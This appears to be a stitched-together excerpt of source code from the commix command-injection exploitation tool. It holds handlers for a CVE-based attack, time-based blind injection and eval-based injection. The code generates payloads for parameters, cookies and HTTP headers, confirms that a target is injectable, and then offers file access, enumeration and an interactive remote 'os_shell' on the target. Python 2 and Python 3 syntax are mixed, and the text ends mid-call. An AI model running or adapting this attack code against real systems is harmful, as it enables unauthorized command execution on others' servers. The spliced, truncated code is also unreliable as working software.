question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() else: file_access_again= "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: file_access(url, cve, check_header, filename) if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL sys.exit(0) else: # Pseudo-Terminal shell print "" go_back = False go_back_again = False while True: if go_back == True: break # if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False: # if settings.VERBOSITY_LEVEL >= 1: # print "" if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() print "" else: gotshell= "" if len(gotshell) == 0: gotshell= "y" if gotshell in settings.CHOICE_YES: print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) if go_back: break else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: info_msg = "Executing the '" + cmd + "' command... " if settings.VERBOSITY_LEVEL == 1: sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") elif settings.VERBOSITY_LEVEL > 1: sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") #print "\n" + settings.print_payload(payload) err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise except: info_msg = "Testing the " + technique + "... " if settings.VERBOSITY_LEVEL > 1: info_msg = info_msg + "\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() #print "" #sys.exit(0) break elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) continue break else: continue if no_result and settings.VERBOSITY_LEVEL < 2: print "" except urllib2.HTTPError, err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print "\n" + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit()
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "blind OS command injection" technique = "time-based command injection technique" if settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + "... " print settings.print_info_msg(info_msg) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print settings.print_warning_msg(warn_msg) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.TIME_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) sys.exit(0) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, timesec, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") sys.stdout.write( settings.print_payload(payload_msg) + "\n") # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) how_long = tb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5]) ) == 1: if max(xrange( len(how_long_statistic) ), key=lambda x: how_long_statistic[ x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write( settings. print_question_msg( question_msg)) proceed_option = sys.stdin.readline( ).replace("\n", "").lower() else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower( ) in settings.CHOICE_PROCEED: if proceed_option.lower( ) == "s": false_positive_fixation = False raise elif proceed_option.lower( ) == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower( ) == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg( err_msg) pass # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(1, 10) randv2 = random.randrange(1, 10) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "expr " + str( randv1) + " + " + str( randv2) + "" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str( randvcalc) and len( TAG ) == output_length: possibly_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str( float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: break break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL > 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: success_msg += " " + http_request_method success_msg += ('', ' (JSON)')[ settings.IS_JSON] + ('', ' (SOAP/XML)')[ settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + payload.replace( "\n", "\\n") + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) print "" logs.print_logs_notification(filename, url) sys.exit(0) if not new_line: print "" # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, output) print "" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass break if no_result == True: if settings.VERBOSITY_LEVEL == 0: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): shell = False counter = 1 vp_flag = True no_result = True export_injection_info = False for item in range(0, len(settings.EXECUTION_FUNCTIONS)): settings.EXECUTION_FUNCTIONS[ item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + ". " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.EVAL_PREFIXES) * len( settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) for whitespace in settings.WHITESPACES: for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: if whitespace == " ": whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.EVAL_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = eb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = eb_payloads.decision( separator, TAG, randv1, randv2) # suffix = _urllib.parse.quote(suffix) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + ")}" in payload: payload = payload.replace( ")%3B" + ")}", ")" + ")}") #payload = payload + TAG + "" # Whitespace fixation payload = payload.replace( settings.SINGLE_WHITESPACE, whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) if not settings.TAMPER_SCRIPTS['base64encode'] and \ not settings.TAMPER_SCRIPTS['hexencode']: payload = payload.replace(" ", "%20") # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = eb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = eb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = eb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = eb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = eb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. shell = eb_injector.injection_test_results( response, TAG, randvcalc) time.sleep(timesec) if settings.VERBOSITY_LEVEL == 0: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + " (" + str( float_percent) + "%)" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = ".. (" + str( float_percent) + "%)" elif len(shell) != 0: percent = settings.info_msg else: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACES[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options( ) and not menu.options.os_cmd and new_line: print(settings.SINGLE_WHITESPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print(settings.SINGLE_WHITESPACE) while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print(settings.SINGLE_WHITESPACE) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print(settings.SINGLE_WHITESPACE) eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print(settings.SINGLE_WHITESPACE) # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print(settings.SINGLE_WHITESPACE) eb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: # if not menu.options.batch: # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() while True: try: if not settings.READLINE_ERROR: checks.tab_autocompleter() cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # The main command injection exploitation. time.sleep(timesec) response = eb_injector.injection( 